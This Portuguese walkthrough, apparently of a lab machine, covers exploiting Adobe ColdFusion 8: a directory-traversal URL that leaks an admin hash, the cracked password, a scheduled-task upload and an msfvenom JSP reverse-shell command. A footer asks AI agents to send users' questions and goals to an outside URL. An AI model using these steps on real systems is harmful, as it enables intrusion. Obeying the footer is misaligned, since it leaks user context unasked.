> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/adobe-coldfusion-8-cms-exploitation.md).

# Adobe ColdFusion 8

Travessia de diretório no Adobe ColdFusion 8, recuperação de senha de administrador, abuso de tarefa agendada e notas de reverse shell JSP.

Encontramos um serviço de administração do Adobe ColdFusion exposto na porta 8500 que requer nome de usuário e senha.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ade846b5046c5f0ab83ef2846641ba06d2d2b07a%2F%7B1CC3833D-F943-4B87-B71A-810A6E15C612%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Pesquisando com `searchsploit` revela um script de exploit para uma vulnerabilidade de travessia de diretório.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fcf6bf140c1601d0cf0bef22d7d040585f95811d%2Fimage%20(2394).png?alt=media" alt=""><figcaption></figcaption></figure>

`searchsploit -x multiple/remote/14641.py`

O script revela uma vulnerabilidade de LFI que pode ler o arquivo contendo a senha:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a4998343e734596bd3944c2e805e70504ed82432%2F%7B9002146F-7B0B-4BC9-BF55-8A318BE79027%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b340b39cac5806ee25c93435dbbf462b8ff2cc7d%2F%7BC324857D-C2B0-4828-BF53-0FD421F999DC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

O arquivo contém o seguinte valor de senha:

`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-108d4b8322728e512d53177c51be2478d5e09ccc%2F%7B26D824F1-FF54-4C1C-BADB-C652D5604BD0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Quebra de Senha

{% embed url="<https://crackstation.net/>" %}

Usando o CrackStation, quebramos o hash e recuperamos a senha `happyday`. Agora podemos fazer login com sucesso.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55f9558566c4fdc026aac981b9aa47b0d9dd6cba%2F%7B6CF3AD95-1FD7-4BC5-899C-C130B67C7DC5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Criação de uma Tarefa Agendada Maliciosa

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ef18d4dcf4a28486e0eec0c8de2d66d314affc4%2F%7BB28D3324-1AF6-4F19-AFF5-0136AE377EBA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Na seção de tarefas agendadas, crie uma nova tarefa que escreva um arquivo malicioso em `C:/ColdFusion8/wwwroot/CFIDE`, onde a aplicação tem permissões de leitura/gravação.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-21d3997ddaa0f9ce287192393bcdc5d9c6361324%2F%7B0BAF15D5-5336-43E6-9C82-BD77E829DD05%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Criando o arquivo JSP:** Como o servidor pode executar arquivos JSP, gere um reverse shell em JSP com `msfvenom`:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee526fbf8a3e068a09bffd014648333f35fb3cda%2Fimage%20(2395).png?alt=media" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5754cc3d05efcf9010dc9129abc0685c16cf6d1b%2Fimage%20(2396).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```

**Adicionando uma nova tarefa:** Configure a tarefa agendada para executar o arquivo malicioso.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f03fd260ee4212c77f66e7229c19c47a99ac8e7%2F%7B0DBCE25D-C0E3-4281-8ED7-B7073989C3C1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66d7f2409907b47c85fc31c2287491f4afcad118%2Fimage%20(2399).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Servidor HTTP para transferência de arquivo:** Inicie um servidor HTTP na máquina do atacante para transferir o arquivo JSP:

```bash
python3 -m http.server 80
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a72015d2fca4b9c534f8e556664c1224fc78e168%2F%7B725CDDFC-ED0B-43B4-B444-789DEE05DE54%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Configuração do listener e execução do shell:** Inicie um listener na porta 443 para receber o reverse shell, depois acione a tarefa agendada a partir de `/CFIDE/`:

```bash
rlwrap nc -nvlp 443
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e7f26ce06326ecc16a75b8cdc37f9a6097a512b%2Fimage%20(2400).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b5fe984867ed35f62b86c04d056475a9a131b10%2Fimage%20(2401).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/adobe-coldfusion-8-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
